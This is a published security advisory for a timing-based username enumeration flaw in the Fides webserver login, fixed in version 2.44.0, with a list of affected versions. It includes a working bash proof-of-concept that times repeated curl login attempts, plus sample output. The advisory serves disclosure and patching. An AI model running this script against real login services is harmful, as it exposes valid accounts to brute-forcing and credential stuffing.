GHSA-2h46-8gf5-fmxv

Suggest an improvement
Source
https://github.com/advisories/GHSA-2h46-8gf5-fmxv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-2h46-8gf5-fmxv/GHSA-2h46-8gf5-fmxv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-2h46-8gf5-fmxv
Aliases
Published
2024-09-04T18:03:26Z
Modified
2024-09-04T18:57:48.228091Z
Summary
Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication
Details

A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.

Impact

This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.

Patches

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Workarounds

There are no workarounds.

Proof of Concept

  1. Create a valid user called valid_user on a remote Fides server. Ensure that there is no user on the server named invalid_user. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests.
  2. In a terminal run export LOGIN_URL='https://example.com/api/v1/login', replacing example.com with your remote Fides server's domain or IP address.
  3. In the same terminal run exploit-poc.sh (detailed below).
  4. It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.

<details> <summary>Exploit PoC script</summary>

#!/bin/bash

# Function to test login and calculate average transfer times
test_login(){
  echo -e "\nTesting login for user: $1\n"
  total_diff=0

  for (( i=1; i <= 20; ++i ))
  do
    echo -n "Attempt #$i: "
    resp=$(curl -w @- "$LOGIN_URL" \
      -H 'content-type: application/json' \
      --data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
      -o /dev/null -s <<'EOF'
      {
        "pretransfer":  %{time_pretransfer},
        "starttransfer": %{time_starttransfer}
      }
EOF
    )

    pre=$(echo $resp | jq '.pretransfer')
    start=$(echo $resp | jq '.starttransfer')
    diff=$(echo "$start - $pre" | bc)

    # Accumulate total diff
    total_diff=$(echo "$total_diff + $diff" | bc)

    # Print the result of this iteration
    printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
  done

  # Calculate average diff
  avg_diff=$(echo "scale=4; $total_diff / 20" | bc)

  # Print average time
  echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}

# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
  echo "Error: LOGIN_URL environment variable is not set."
  exit 1
fi

# Test valid and invalid users
test_login valid_user 
test_login invalid_user

</details>

<details> <summary>Sample script run</summary>

~ ❯ ./exploit-poc.sh

Testing login for user: valid_user

Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398
Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751
Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512
Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932
Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127
Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113
Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085
Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344
Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673
Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321
Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029
Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014
Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336
Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201
Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235
Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078
Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517
Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572
Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564
Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785

Average Time Difference for valid_user: .6779 seconds


Testing login for user: invalid_user

Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626
Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498
Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694
Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122
Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088
Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406
Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599
Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518
Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353
Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476
Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443
Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573
Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361
Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440
Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449
Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512
Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673
Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977
Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013
Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410

Average Time Difference for invalid_user: .3161 seconds

~ ❯

</details>

Severity

This vulnerability has been assigned a severity of LOW.

Using CVSS v3.1 it could be scored asAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3 Medium/Moderate) or AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N (0.0 None) depending on the Confidentiality impact metric used.

In Bugcrowd's vulnerability rating taxonomy it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) > Username/Email Enumeration > Non-Brute Force.

References

Affected packages

PyPI / ethyca-fides

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.44.0

Affected versions

1.*

1.9.9

2.*

2.0.0
2.1.0
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.4.0
2.5.0
2.5.1
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.7.0
2.7.1
2.8.0
2.8.1
2.8.2
2.8.3
2.9.0
2.9.1
2.9.2
2.10.0
2.10.1b2
2.10.1b3
2.11.0
2.11.1b0
2.11.1b1
2.11.1b2
2.11.1b3
2.11.1b4
2.11.1b5
2.11.1b6
2.12.0
2.12.1b0
2.12.1b1
2.12.1b2
2.12.1b3
2.12.1b4
2.12.1
2.12.2b0
2.12.2b1
2.12.2b2
2.13.0
2.13.1b0
2.13.1b1
2.13.1b2
2.14.0
2.14.1b0
2.14.1b1
2.14.1b2
2.14.1
2.14.2b0
2.14.2
2.14.3b0
2.15.0
2.15.1b0
2.15.1b1
2.15.1
2.15.2b0
2.16.0
2.16.1b0
2.16.1b1
2.17.0
2.17.1b0
2.17.1
2.18.0
2.18.1b0
2.18.1b1
2.18.1b2
2.18.1b4
2.18.1b5
2.18.1b6
2.18.1b7
2.19.0rc6
2.19.0rc7
2.19.0rc8
2.19.0rc10
2.19.0
2.19.1b0
2.19.1rc1
2.19.1rc2
2.19.1
2.19.2b0
2.19.2b1
2.19.2b2
2.20.0rc0
2.20.0rc1
2.20.0rc2
2.20.0rc3
2.20.0rc4
2.20.0rc5
2.20.0rc6
2.20.0rc7
2.20.0
2.20.1b0
2.20.1b1
2.20.1b2
2.20.1b3
2.20.1rc0
2.20.1
2.20.2b0
2.20.2rc0
2.20.2
2.20.3b0
2.20.3b1
2.20.3b2
2.21.0rc0
2.21.0rc1
2.21.0rc2
2.21.0rc3
2.21.0rc4
2.21.0rc5
2.21.0
2.21.1b0
2.21.1b2
2.21.1b3
2.22.0rc0
2.22.0rc1
2.22.0rc2
2.22.0rc3
2.22.0rc4
2.22.0rc5
2.22.0
2.22.1b0
2.22.1b1
2.22.1b2
2.22.1b3
2.22.1rc0
2.22.1rc1
2.22.1
2.22.2b0
2.22.2b1
2.22.2b2
2.22.2b3
2.23.0rc0
2.23.0rc1
2.23.0rc2
2.23.0rc3
2.23.0rc4
2.23.0rc5
2.23.0rc6
2.23.0rc7
2.23.0
2.23.1b0
2.23.1rc0
2.23.1
2.23.2b0
2.23.2
2.23.3b0
2.23.3b1
2.23.3b3
2.23.3rc0
2.23.3rc1
2.23.3rc2
2.23.3
2.24.0rc0
2.24.0rc2
2.24.0rc3
2.24.0rc4
2.24.0rc5
2.24.0rc6
2.24.0rc7
2.24.0rc8
2.24.0rc9
2.24.0
2.24.1b0
2.24.1b1
2.24.1rc0
2.24.1rc1
2.24.1
2.24.2b0
2.24.2b1
2.25.0rc0
2.25.0
2.25.1b0
2.25.1b1
2.25.1b2
2.25.1b3
2.25.1b4
2.26.0rc0
2.26.0rc1
2.26.0rc2
2.26.0rc3
2.26.0rc4
2.26.0rc5
2.26.0rc6
2.26.0rc7
2.26.0rc8
2.26.0rc9
2.26.0
2.26.1b0
2.26.1b1
2.26.3
2.27.0rc0
2.27.0rc1
2.27.0rc2
2.27.0rc3
2.27.0rc4
2.27.0rc5
2.27.0rc6
2.27.0rc7
2.27.0rc8
2.27.0rc9
2.27.0
2.27.1b0
2.27.1b1
2.28.0rc0
2.28.0rc1
2.28.0rc2
2.28.0rc3
2.28.0rc4
2.28.0rc5
2.28.0
2.28.1a5
2.28.1b0
2.28.1b1
2.29.0rc0
2.29.0rc1
2.29.0rc2
2.29.0rc3
2.29.0rc4
2.29.0
2.29.1b0
2.29.1b1
2.30.0rc0
2.30.0rc1
2.30.0rc2
2.30.0
2.30.1b0
2.30.1rc0
2.30.1
2.30.2b0
2.30.2b1
2.31.0rc0
2.31.0rc1
2.31.0rc2
2.31.0rc3
2.31.0
2.31.1b0
2.31.1b2
2.32.0rc0
2.32.0rc1
2.32.0rc2
2.32.0rc3
2.32.0
2.32.1b1
2.32.1b2
2.33.0rc0
2.33.0rc1
2.33.0rc2
2.33.0rc3
2.33.0
2.33.1b0
2.33.1rc0
2.33.1
2.33.2a0
2.33.2b0
2.34.0rc0
2.34.0rc1
2.34.0rc2
2.34.0rc3
2.34.0rc4
2.34.0rc5
2.34.0
2.34.1a0
2.34.1b0
2.34.1rc1
2.34.2b0
2.34.2b1
2.34.2b2
2.34.2b3
2.35.0rc0
2.35.0rc1
2.35.0rc2
2.35.0
2.35.1rc0
2.35.1
2.35.2b0
2.35.2b1
2.36.0rc0
2.36.0rc1
2.36.0
2.36.1a0
2.36.1b0
2.36.1rc1
2.36.1rc2
2.36.1rc3
2.36.1rc4
2.36.2b0
2.36.2b1
2.36.2b2
2.36.2b3
2.36.2b4
2.36.2b5
2.37.0rc0
2.37.0rc1
2.37.0rc2
2.37.0rc3
2.37.0rc4
2.37.0
2.37.1b0
2.37.1b1
2.37.1b2
2.37.1b3
2.37.1b4
2.38.0rc0
2.38.0rc1
2.38.0
2.38.1b0
2.38.1b1
2.38.1rc0
2.38.1rc1
2.38.1
2.38.2b0
2.38.2b1
2.38.2b2
2.39.0rc0
2.39.0rc1
2.39.0rc2
2.39.0
2.39.1b0
2.39.1rc0
2.39.1
2.39.2b0
2.39.2rc0
2.39.2
2.40.0rc0
2.40.0rc1
2.40.0rc2
2.40.0
2.40.1b0
2.40.1b1
2.41.0rc0
2.41.0rc1
2.41.0rc2
2.41.0rc3
2.41.0rc4
2.41.0
2.41.1a1
2.41.1b0
2.41.1b1
2.41.1b2
2.41.1b3
2.41.1b4
2.42.0rc0
2.42.0rc1
2.42.0rc2
2.42.0
2.42.1b0
2.42.1rc0
2.42.1rc1
2.42.1
2.42.2b0
2.42.2b3
2.42.2b4
2.43.0rc0
2.43.0rc1
2.43.0
2.43.1b0
2.43.1rc0
2.43.2
2.43.3b0
2.43.3b1
2.43.3b2
2.44.0rc0
2.44.0rc1
2.44.0rc2
2.44.0rc3
2.44.0rc4
2.44.0rc5